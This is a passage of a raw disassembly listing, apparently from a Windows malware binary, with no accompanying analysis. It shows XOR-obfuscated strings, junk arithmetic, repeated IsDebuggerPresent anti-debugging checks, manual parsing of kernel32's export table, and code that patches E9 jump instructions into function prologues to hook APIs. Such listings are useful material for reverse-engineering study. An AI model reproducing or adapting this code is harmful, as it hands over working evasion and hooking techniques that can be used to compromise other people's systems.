		mov	eax, [ebp+var_8]
		leave
		retn
sub_402465	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024C1	proc near		; CODE XREF: sub_402A4D+36Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_40C598	; GetTickCount
		push	[ebp+arg_0]
		push	0FFFFFFFFh
		call	ds:dword_41C954
		call	sub_40C508	; GetCurrentProcessId
		pop	ebp
		retn
sub_4024C1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 8Bh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C024
		lea	eax, ds:412DE0h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_402520
; ---------------------------------------------------------------------------

loc_402509:				; CODE XREF: .text:00402522j
		mov	eax, dword_43C024
		add	eax, edi
		lea	eax, ds:412DE0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 42h
		mov	[eax], dl
		inc	edi

loc_402520:				; CODE XREF: .text:00402507j
		cmp	edi, esi
		jl	short loc_402509
		mov	dword ptr [ebp-8], 15Eh
		mov	eax, dword_43C024
		add	eax, esi
		mov	byte ptr ds:dword_412DE0[eax], 0
		xor	edi, edi
		mov	edi, dword_43C024
		mov	eax, edi
		add	eax, 5
		add	eax, esi
		mov	dword_43C024, eax
		add	dword_43C024, 2
		cmp	dword_43C024, 0DF6h
		jle	short loc_402568
		and	dword_43C024, 0

loc_402568:				; CODE XREF: .text:0040255Fj
		lea	eax, dword_412DE0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402572	proc near		; CODE XREF: sub_4028A6+19Ap

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 6A0Dh
		mov	eax, [ebp+var_4]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_4], edx
		xor	ebx, ebx

loc_40258E:				; CODE XREF: sub_402572+329j
		mov	[ebp+var_8], 0A92h
		movzx	eax, [ebp+var_8]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_8], ax
		mov	eax, [ebp+arg_0]
		movzx	edx, byte ptr [eax+ebx]
		cmp	edx, 0FFh
		jnz	short loc_4025E8
		movzx	edx, byte ptr [ebx+eax+1]
		cmp	edx, 0FFh
		jnz	short loc_4025E8
		movzx	edx, byte ptr [ebx+eax+2]
		cmp	edx, 0FFh
		jnz	short loc_4025E8
		movzx	edx, byte ptr [ebx+eax+3]
		cmp	edx, 0FFh
		jnz	short loc_4025E8
		movzx	eax, byte ptr [ebx+eax+4]
		cmp	eax, 0FFh
		jz	loc_4028A1

loc_4025E8:				; CODE XREF: sub_402572+3Dj
					; sub_402572+4Aj ...
		mov	[ebp+var_A], 143Ah
		movzx	eax, [ebp+var_A]
		imul	eax, 5B68h
		mov	[ebp+var_A], ax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+ebx]
		mov	[eax+ebx], dl
		call	sub_40C514	; GetCurrentThreadId
		mov	[ebp+var_5], 0

loc_402618:				; CODE XREF: sub_402572+1B2j
		mov	eax, [ebp+arg_0]
		movzx	edx, [ebp+var_5]
		imul	edx, 0Ch
		movzx	edx, byte_43C0B4[edx]
		movzx	ecx, byte ptr [eax+ebx]
		cmp	ecx, edx
		jnz	loc_40270A
		mov	ecx, ebx
		dec	ecx
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_40270A
		mov	ecx, ebx
		sub	ecx, 2
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_40270A
		mov	ecx, ebx
		sub	ecx, 3
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_40270A
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jnz	loc_40270A
		mov	[ebp+var_C], 184h
		movzx	eax, [ebp+var_C]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_C], ax
		movzx	eax, [ebp+var_5]
		imul	eax, 0Ch
		push	off_43C0BC[eax]
		call	sub_40C550	; GetModuleHandleA
		movzx	edi, [ebp+var_5]
		imul	edi, 0Ch
		push	off_43C0B8[edi]
		push	eax
		call	sub_40C568	; GetProcAddress
		mov	[ebp+var_18], eax
		or	eax, 0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		lea	edx, [edx+ecx+5]
		add	edx, ebx
		sub	edx, 4
		sub	eax, edx
		add	eax, [ebp+var_18]
		sub	eax, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_E], 1041h
		sub	[ebp+var_E], 73D6h
		mov	eax, [ebp+arg_4]
		mov	edx, ecx
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp+var_1C]
		mov	ds:1[eax], edx
		mov	[ebp+var_14], 4B75h
		add	[ebp+var_14], 37C2h
		jmp	short loc_402729
; ---------------------------------------------------------------------------

loc_40270A:				; CODE XREF: sub_402572+BEj
					; sub_402572+CDj ...
		movzx	eax, [ebp+var_5]
		imul	eax, 0Ch
		cmp	off_43C0B8[eax], 0
		jz	short loc_402729
		call	sub_40C538	; RtlGetLastWin32Error
		add	[ebp+var_5], 1
		jmp	loc_402618
; ---------------------------------------------------------------------------

loc_402729:				; CODE XREF: sub_402572+196j
					; sub_402572+1A7j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 4
		jnz	short loc_402798
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402798
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402798
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402798
		mov	edx, ebx
		sub	edx, 4
		movzx	edx, byte ptr [eax+edx]
		cmp	dl, 68h
		jz	short loc_402772
		cmp	edx, 0BEh
		jz	short loc_402772
		mov	edx, ebx
		sub	edx, 5
		cmp	byte ptr [eax+edx], 24h
		jnz	short loc_402798

loc_402772:				; CODE XREF: sub_402572+1EBj
					; sub_402572+1F3j
		mov	[ebp+var_C], 53AEh
		inc	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_8]
		lea	edx, [eax+ebx+5]
		sub	edx, 4
		add	eax, 7
		mov	ds:1[edx], eax
		call	sub_40C508	; GetCurrentProcessId

loc_402798:				; CODE XREF: sub_402572+1BEj
					; sub_402572+1C7j ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 2
		jnz	loc_40282C
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_40282C
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_40282C
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_40282C
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jz	short loc_4027DB
		cmp	eax, 0E9h
		jnz	short loc_40282C

loc_4027DB:				; CODE XREF: sub_402572+260j
		lea	edi, [ebp+var_18+3]
		lea	esi, aA9s	; "A^9S"
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+arg_4]
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+arg_8]
		lea	ecx, [eax+ecx+5]
		add	ecx, ebx
		sub	ecx, 4
		sub	edx, ecx
		add	edx, eax
		mov	eax, edx
		sub	eax, 4
		mov	[ebp-10h], eax
		call	sub_40C634	; IsDebuggerPresent
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp-10h]
		mov	ds:1[eax], edx
		call	sub_40C514	; GetCurrentThreadId

loc_40282C:				; CODE XREF: sub_402572+22Dj
					; sub_402572+23Aj ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 1
		jnz	short loc_402894
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402894
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402894
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402894
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	al, 3Dh
		jz	short loc_40286F
		cmp	eax, 0FEh
		jz	short loc_40286F
		cmp	eax, 0FFh
		jnz	short loc_402894

loc_40286F:				; CODE XREF: sub_402572+2EDj
					; sub_402572+2F4j
		call	sub_40C598	; GetTickCount
		call	sub_40C508	; GetCurrentProcessId
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		lea	edi, [edi+esi+5]
		add	edi, ebx
		sub	edi, 4
		mov	ds:1[edi], eax
		call	sub_40C634	; IsDebuggerPresent

loc_402894:				; CODE XREF: sub_402572+2C1j
					; sub_402572+2CAj ...
		inc	ebx
		cmp	ebx, 400h
		jb	loc_40258E

loc_4028A1:				; CODE XREF: sub_402572+70j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028A6	proc near		; CODE XREF: sub_402A4D+813p

var_24		= dword	ptr -24h
var_1E		= dword	ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		call	sub_40C514	; GetCurrentThreadId
		mov	esi, [ebp+arg_0]
		jmp	short loc_4028DA
; ---------------------------------------------------------------------------

loc_4028B9:				; CODE XREF: sub_4028A6+3Ej
		call	sub_40C538	; RtlGetLastWin32Error
		xor	edi, edi
		jmp	short loc_4028C9
; ---------------------------------------------------------------------------

loc_4028C2:				; CODE XREF: sub_4028A6+29j
		cmp	byte ptr [esi+edi], 0
		jnz	short loc_4028D1
		inc	edi

loc_4028C9:				; CODE XREF: sub_4028A6+1Aj
		cmp	edi, 3E8h
		jbe	short loc_4028C2

loc_4028D1:				; CODE XREF: sub_4028A6+20j
		cmp	edi, 3E8h
		jnb	short loc_4028EB
		inc	esi

loc_4028DA:				; CODE XREF: sub_4028A6+11j
		mov	eax, [ebp+arg_4]
		sub	eax, 3E8h
		cmp	esi, eax
		jbe	short loc_4028B9
		jmp	loc_402A48
; ---------------------------------------------------------------------------

loc_4028EB:				; CODE XREF: sub_4028A6+31j
		add	esi, 0Ah
		movzx	edx, [ebp+arg_8]
		shl	edx, 2
		mov	edi, ds:dword_40F380[edx]
		xor	ebx, ebx

loc_4028FE:				; CODE XREF: sub_4028A6+105j
		mov	eax, edi
		add	eax, ebx
		push	eax
		call	sub_401D14
		pop	ecx
		call	sub_40C5A4	; GetVersion
		movzx	eax, byte ptr [edi+ebx]
		cmp	eax, 0E8h
		jz	short loc_402945
		cmp	eax, 0E9h
		jz	short loc_402945
		call	sub_40C514	; GetCurrentThreadId
		and	[ebp+var_4], 0
		jmp	short loc_402939
; ---------------------------------------------------------------------------

loc_40292B:				; CODE XREF: sub_4028A6+9Bj
		mov	eax, ebx
		add	eax, [ebp+var_4]
		mov	dl, [edi+eax]
		mov	[esi+eax], dl
		inc	[ebp+var_4]

loc_402939:				; CODE XREF: sub_4028A6+83j
		mov	eax, ds:dword_40E00C
		cmp	[ebp+var_4], eax
		jb	short loc_40292B
		jmp	short loc_4029A2
; ---------------------------------------------------------------------------

loc_402945:				; CODE XREF: sub_4028A6+71j
					; sub_4028A6+78j
		mov	eax, dword_43C125
		mov	[ebp+var_1E], eax
		mov	al, [edi+ebx]
		mov	[esi+ebx], al
		call	sub_40C634	; IsDebuggerPresent
		lea	eax, [edi+ebx+1]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		mov	edx, esi
		add	edx, ebx
		sub	eax, edx
		mov	edx, edi
		add	edx, ebx
		add	eax, edx
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], 7962h
		mov	eax, 3CA4h
		mul	[ebp+var_18]
		mov	[ebp+var_24], eax
		mov	[ebp+var_18], eax
		lea	eax, [esi+ebx+1]
		mov	edx, [ebp+var_14]
		mov	[eax], edx
		mov	[ebp+var_1A], 2D36h
		movzx	eax, [ebp+var_1A]
		imul	eax, 49AAh
		mov	[ebp+var_1A], ax

loc_4029A2:				; CODE XREF: sub_4028A6+9Dj
		add	ebx, ds:dword_40E00C
		cmp	ebx, 5
		jb	loc_4028FE
		call	sub_40C634	; IsDebuggerPresent
		or	eax, 0FFFFFFFFh
		mov	edx, esi
		add	edx, ebx
		sub	eax, edx
		mov	edx, edi
		add	edx, ebx
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_8], eax
		mov	[ebp+var_9], 16h
		movzx	eax, [ebp+var_9]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_9], al
		mov	byte ptr [ebx+esi], 0E9h
		mov	[ebp+var_A], 55h
		movzx	eax, [ebp+var_A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_A], al
		lea	eax, [esi+ebx+1]
		mov	edx, [ebp+var_8]
		mov	[eax], edx
		or	eax, 0FFFFFFFFh
		sub	eax, edi
		lea	edx, [esi+ebx+5]
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], 2E4Bh
		sub	[ebp+var_10], 0F4Bh
		mov	byte ptr [edi],	0E9h
		call	sub_40C598	; GetTickCount
		mov	eax, [ebp+var_8]
		mov	ds:1[edi], eax
		call	sub_40C634	; IsDebuggerPresent
		push	ebx
		push	esi
		movzx	edx, [ebp+arg_8]
		shl	edx, 4
		push	off_43BE8C[edx]
		call	sub_402572
		add	esp, 0Ch

loc_402A48:				; CODE XREF: sub_4028A6+40j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4028A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A4D	proc near		; CODE XREF: sub_40A766+534p

var_2578	= dword	ptr -2578h
var_2573	= byte ptr -2573h
var_2572	= word ptr -2572h
var_2570	= dword	ptr -2570h
var_21AA	= byte ptr -21AAh
var_21A4	= word ptr -21A4h
var_21A2	= word ptr -21A2h
var_21A0	= dword	ptr -21A0h
var_219C	= byte ptr -219Ch
var_219B	= word ptr -219Bh
var_2199	= byte ptr -2199h
var_2196	= word ptr -2196h
var_2193	= byte ptr -2193h
var_2192	= byte ptr -2192h
var_218A	= word ptr -218Ah
var_2188	= byte ptr -2188h
var_2184	= dword	ptr -2184h
var_2180	= dword	ptr -2180h
var_217C	= dword	ptr -217Ch
var_2178	= dword	ptr -2178h
var_2174	= word ptr -2174h
var_2172	= word ptr -2172h
var_2170	= dword	ptr -2170h
var_216C	= dword	ptr -216Ch
var_2068	= dword	ptr -2068h
var_2062	= word ptr -2062h
var_2060	= dword	ptr -2060h
var_205C	= dword	ptr -205Ch
var_2056	= byte ptr -2056h
var_2055	= byte ptr -2055h
var_2054	= dword	ptr -2054h
var_2050	= dword	ptr -2050h
var_204C	= dword	ptr -204Ch
var_2044	= dword	ptr -2044h
var_2034	= dword	ptr -2034h
var_2030	= dword	ptr -2030h
var_202C	= dword	ptr -202Ch
var_2025	= byte ptr -2025h
var_2024	= dword	ptr -2024h
var_2020	= dword	ptr -2020h
var_101C	= dword	ptr -101Ch
var_1015	= byte ptr -1015h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2578h
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_2056],	8Bh
		sub	[ebp+var_2056],	0C3h
		call	sub_40223C
		mov	[ebp+var_2054],	7F03h
		mov	eax, [ebp+var_2054]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_2054],	edx
		mov	[ebp+var_2025],	0
		call	sub_40C5A4	; GetVersion
		cmp	eax, 80000000h
		jnb	short loc_402AA4
		mov	[ebp+var_2025],	1

loc_402AA4:				; CODE XREF: sub_402A4D+4Ej
		call	sub_40C634	; IsDebuggerPresent
		mov	[ebp+var_1015],	0

loc_402AB0:				; CODE XREF: sub_402A4D+10Aj
		cmp	[ebp+var_2025],	0
		jnz	short loc_402ACD
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43BE90[edi], 1
		jz	short loc_402AEA

loc_402ACD:				; CODE XREF: sub_402A4D+6Aj
		cmp	[ebp+var_2025],	0
		jz	short loc_402AEC
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43BE90[edi], 2
		jnz	short loc_402AEC

loc_402AEA:				; CODE XREF: sub_402A4D+7Ej
		jmp	short loc_402B3E
; ---------------------------------------------------------------------------

loc_402AEC:				; CODE XREF: sub_402A4D+87j
					; sub_402A4D+9Bj
		call	sub_40C574	; GetProcessHeap
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	off_43BE88[esi]
		call	sub_40C640	; LoadLibraryA
		mov	ds:dword_414090[edi*4],	eax
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	off_43BE84[esi]
		shl	edi, 2
		push	ds:dword_414090[edi]
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_40F380[edi], eax
		call	sub_40C598	; GetTickCount

loc_402B3E:				; CODE XREF: sub_402A4D:loc_402AEAj
		add	[ebp+var_1015],	1
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	off_43BE84[edi], 0
		jnz	loc_402AB0
		mov	ax, word_43C129
		mov	[ebp+var_2062],	ax
		mov	[ebp+var_1015],	0

loc_402B71:				; CODE XREF: sub_402A4D+88Fj
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		cmp	ds:dword_40F380[edi], 0
		jz	loc_4032C3
		call	sub_40C574	; GetProcessHeap
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_414090[edi]
		mov	[ebp+var_2034],	edi
		cmp	[ebp+var_2025],	0
		jz	loc_402E88
		call	sub_40C598	; GetTickCount
		call	sub_4022CC
		mov	[ebp+var_2030],	eax
		lea	edi, [ebp+var_2192]
		lea	esi, aTzT6	; "tz|&>T6"
		movsd
		movsd
		mov	edi, [ebp+var_2034]
		shr	edi, 16h
		shl	edi, 16h
		mov	[ebp+var_8], edi
		mov	eax, edi
		add	eax, 400000h
		mov	[ebp+var_1014],	eax
		xor	ebx, ebx
		jmp	short loc_402C47
; ---------------------------------------------------------------------------

loc_402BF0:				; CODE XREF: sub_402A4D+203j
		mov	[ebp+var_2193],	73h
		movzx	eax, [ebp+var_2193]
		imul	eax, 227Fh
		mov	[ebp+var_2193],	al
		mov	eax, dword_43C020
		add	eax, 0FF5h
		push	eax
		push	[ebp+var_8]
		call	sub_40C61C	; IsBadReadPtr
		mov	[ebp+var_4], eax
		mov	ax, word_43C133
		mov	[ebp+var_2196+1], ax
		xor	[ebp+var_4], 1
		shl	[ebp+var_4], 2
		mov	edi, [ebp+var_4]
		mov	[ebp+ebx*4+var_1010], edi
		inc	ebx
		add	[ebp+var_8], 1000h

loc_402C47:				; CODE XREF: sub_402A4D+1A1j
		mov	eax, [ebp+var_1014]
		cmp	[ebp+var_8], eax
		jbe	short loc_402BF0
		lea	eax, [ebp+var_2188]
		push	eax
		call	sub_40C5F8	; GlobalMemoryStatus
		mov	[ebp+var_218A],	5761h
		movzx	eax, [ebp+var_218A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_218A],	ax
		and	[ebp+var_101C],	0
		jmp	loc_402DD4
; ---------------------------------------------------------------------------

loc_402C87:				; CODE XREF: sub_402A4D+398j
		mov	[ebp+var_2199],	6Fh
		movzx	eax, [ebp+var_2199]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2199],	al
		push	0FFFFh
		push	[ebp+var_101C]
		push	[ebp+var_2030]
		call	sub_402465
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		or	eax, eax
		jnz	short loc_402CE0
		mov	[ebp+var_219C],	0D9h
		movzx	eax, [ebp+var_219C]
		imul	eax, 3A66h
		mov	[ebp+var_219C],	al
		jmp	loc_402DCA
; ---------------------------------------------------------------------------

loc_402CE0:				; CODE XREF: sub_402A4D+272j
		and	dword ptr [ebp-2198h], 0

loc_402CE7:				; CODE XREF: sub_402A4D+871j
		mov	eax, [ebp-2198h]
		mov	[ebp+var_8], eax
		jmp	loc_402DA7
; ---------------------------------------------------------------------------

loc_402CF5:				; CODE XREF: sub_402A4D+361j
		mov	[ebp+var_21A0],	1E00h
		inc	[ebp+var_21A0]
		xor	ebx, ebx

loc_402D07:				; CODE XREF: sub_402A4D+30Ej
		lea	edi, [ebp+var_21AA]
		lea	esi, aLj0yrfp	; "lJ0YrFP"
		movsd
		movsd
		mov	edi, [ebp+var_8]
		shr	edi, 2
		shl	edi, 2
		add	edi, [ebp+var_C]
		mov	edi, [edi+ebx*4]
		mov	[ebp+var_4], edi
		and	[ebp+var_4], 4
		mov	edi, [ebp+ebx*4+var_1010]
		cmp	[ebp+var_4], edi
		jnz	short loc_402D5D
		mov	[ebp+var_21A2],	71BCh
		movzx	eax, [ebp+var_21A2]
		imul	eax, 70FFh
		mov	[ebp+var_21A2],	ax
		inc	ebx
		cmp	ebx, 400h
		jb	short loc_402D07

loc_402D5D:				; CODE XREF: sub_402A4D+2E8j
		cmp	ebx, 3FFh
		jb	short loc_402DA0
		mov	byte ptr [ebp+var_21A2+1], 38h
		add	byte ptr [ebp+var_21A2+1], 7Bh
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp-2198h], eax
		mov	[ebp+var_21A4],	6CA4h
		movzx	eax, [ebp+var_21A4]
		imul	eax, 732Ch
		mov	[ebp+var_21A4],	ax
		jmp	short loc_402E00
; ---------------------------------------------------------------------------

loc_402DA0:				; CODE XREF: sub_402A4D+316j
		add	[ebp+var_8], 1000h

loc_402DA7:				; CODE XREF: sub_402A4D+2A3j
		cmp	[ebp+var_8], 0F000h
		jbe	loc_402CF5
		push	[ebp+var_C]
		call	sub_4024C1
		pop	ecx
		mov	ax, word_43C13D
		mov	[ebp+var_219B],	ax

loc_402DCA:				; CODE XREF: sub_402A4D+28Ej
		add	[ebp+var_101C],	10000h

loc_402DD4:				; CODE XREF: sub_402A4D+235j
		mov	eax, [ebp+var_2180]
		sub	eax, 0FFFFh
		cmp	[ebp+var_101C],	eax
		jbe	loc_402C87
		push	[ebp+var_2030]
		call	sub_40C55C	; CloseHandle
		call	sub_40C598	; GetTickCount
		jmp	loc_4032C3
; ---------------------------------------------------------------------------

loc_402E00:				; CODE XREF: sub_402A4D+351j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_40F380[edi]
		mov	[ebp+var_1014],	edi
		and	[ebp+var_1014],	0

loc_402E1E:				; CODE XREF: sub_402A4D+439j
		mov	[ebp+var_2193],	0E0h
		movzx	eax, [ebp+var_2193]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2193],	al
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		mov	esi, [esi+edi]
		mov	[ebp+edi+var_2020], esi
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		add	edi, esi
		or	byte ptr [edi],	2
		call	sub_40C538	; RtlGetLastWin32Error
		inc	[ebp+var_1014]
		cmp	[ebp+var_1014],	400h
		jb	short loc_402E1E

loc_402E88:				; CODE XREF: sub_402A4D+15Fj
		call	sub_40C538	; RtlGetLastWin32Error
		cmp	[ebp+var_2025],	0
		jnz	loc_402F51
		mov	word ptr [ebp+var_2170+2], 1C0Eh
		inc	word ptr [ebp+var_2170+2]
		push	offset aKernel32_dll ; "kernel32.dll"
		call	sub_40C550	; GetModuleHandleA
		mov	[ebp+var_216C],	eax
		mov	word ptr [ebp+var_2170], 33AAh
		add	word ptr [ebp+var_2170], 0B06h
		mov	edx, eax
		add	edx, ds:3Ch[eax]
		mov	[ebp+var_2178],	edx
		call	sub_40C5A4	; GetVersion
		mov	eax, [ebp+var_216C]
		mov	edx, [ebp+var_2178]
		add	edx, 78h
		add	eax, [edx]
		mov	[ebp+var_217C],	eax
		mov	[ebp+var_2172],	7D9h
		add	[ebp+var_2172],	4B85h
		mov	eax, [ebp+var_216C]
		mov	edx, [ebp+var_217C]
		add	edx, 1Ch
		add	eax, [edx]
		mov	[ebp+var_2180],	eax
		mov	eax, [ebp+var_216C]
		mov	edx, [ebp+var_2180]
		add	eax, [edx]
		mov	[ebp+var_2184],	eax
		mov	[ebp+var_2174],	3604h
		add	[ebp+var_2174],	2981h
		mov	[ebp+var_2068],	eax
		call	sub_40C634	; IsDebuggerPresent

loc_402F51:				; CODE XREF: sub_402A4D+447j
		push	1Ch
		lea	eax, [ebp+var_2050]
		push	eax
		call	sub_40C6A0	; RtlZeroMemory
		call	sub_40C634	; IsDebuggerPresent
		mov	eax, [ebp+var_2034]
		mov	[ebp+var_202C],	eax
		mov	[ebp+var_2055],	50h
		movzx	eax, [ebp+var_2055]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2055],	al

loc_402F8A:				; CODE XREF: sub_402A4D+57Dj
					; sub_402A4D+5BCj
		push	1Ch
		lea	eax, [ebp+var_2050]
		push	eax
		push	[ebp+var_202C]
		call	sub_40C700	; VirtualQuery
		call	sub_40C514	; GetCurrentThreadId
		mov	eax, [ebp+var_2034]
		cmp	[ebp+var_204C],	eax
		jnz	short loc_40300E
		mov	eax, [ebp+var_2044]
		mov	[ebp+var_205C],	eax
		add	[ebp+var_202C],	eax
		cmp	[ebp+var_2025],	0
		jnz	short loc_402F8A
		mov	word ptr [ebp+var_216C+2], 25A3h
		sub	word ptr [ebp+var_216C+2], 1506h
		push	20060000h
		push	0
		mov	edi, [ebp+var_205C]
		shr	edi, 0Ch
		push	edi
		mov	edi, [ebp+var_2050]
		shr	edi, 0Ch
		push	edi
		push	1000Dh
		call	[ebp+var_2068]	; DATA XREF: .data:loc_43F3DEr
					; sub_43F401+8Cw ...

loc_403004:				; DATA XREF: .data:0043E439r
					; .data:loc_43E475r ...
		call	sub_40C634	; IsDebuggerPresent
		jmp	loc_402F8A
; ---------------------------------------------------------------------------

loc_40300E:				; CODE XREF: sub_402A4D+562j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	esi, [ebp+var_202C]
		sub	esi, [ebp+var_2034]
		mov	ds:dword_4119B0[edi], esi
		call	sub_40C598	; GetTickCount
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_40F380[edi]
		mov	[ebp+var_1014],	edi
		mov	eax, dword_43C020
		add	eax, 0FF5h
		push	eax
		push	edi
		call	sub_40C628	; IsBadWritePtr
		mov	[ebp+var_2060],	eax
		or	eax, eax
		jnz	loc_40326D
		call	sub_40C5A4	; GetVersion
		cmp	[ebp+arg_0], 0
		jz	loc_40324C
		call	sub_40C538	; RtlGetLastWin32Error
		mov	eax, [ebp+var_1014]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0E9h
		jz	short loc_4030C4
		mov	[ebp+var_2572],	1FFh
		movzx	eax, [ebp+var_2572]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2572],	ax
		cmp	[ebp+arg_0], 1
		jnz	loc_40324C
		mov	[ebp+var_2573],	0FEh
		add	[ebp+var_2573],	32h
		jmp	loc_40326D
; ---------------------------------------------------------------------------

loc_4030C4:				; CODE XREF: sub_402A4D+63Bj
		mov	eax, [ebp+var_1014]
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp+var_2024],	eax
		mov	[ebp+var_2170],	5AC5h
		add	[ebp+var_2170],	6A76h
		mov	byte ptr [ebp+var_216C+3], 0

loc_4030F9:				; CODE XREF: sub_402A4D+751j
		sub	[ebp+var_2024],	5
		mov	eax, [ebp+var_2024]
		mov	[ebp+var_4], eax

loc_403109:				; CODE XREF: sub_402A4D+6F5j
		mov	eax, [ebp+var_4]
		mov	edx, eax
		dec	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_40313A
		mov	edx, eax
		sub	edx, 2
		cmp	byte ptr [edx],	0
